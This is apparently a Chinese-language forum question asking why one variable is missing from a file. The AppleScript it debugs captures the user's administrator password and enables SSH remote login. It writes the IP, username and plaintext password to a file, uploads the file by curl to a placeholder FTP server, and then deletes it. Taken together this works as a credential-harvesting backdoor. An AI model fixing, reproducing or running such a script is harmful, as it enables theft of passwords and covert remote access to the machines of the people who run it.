我正在尝试将 3 个变量传递给一个发送到服务器的文本文件,但是我的一个变量(pword)没有被发送。
下面是我的代码:
set pword to do shell script "echo" with administrator privileges
##Enable remote login
do shell script "launchctl load -w /System/Library/LaunchDaemons/ssh.plist" user name (short user name of (system info)) password pword with administrator privileges
##Get ip
set tIP to do shell script "ifconfig en0|grep 'inet '|cut -d ' ' -f 2"
##Get username
set userName to short user name of (system info)
##Create text file with user data
do shell script "echo " & tIP & userName & pword & ">> /Users/" & userName & "/Documents/tests.txt"
##Create path where user data is stored
set thePath to "/Users/" & userName & "/Documents/tests.txt"
##Send the data to the server
do shell script "curl -T " & thePath & " ftp://username:password@server"
##Delete the text file
do shell script "rm /Users/" & userName & "/Documents/tests.txt"
知道为什么只有 userName 和 tIP 被写入文本文件而不是 pword 吗?
谢谢。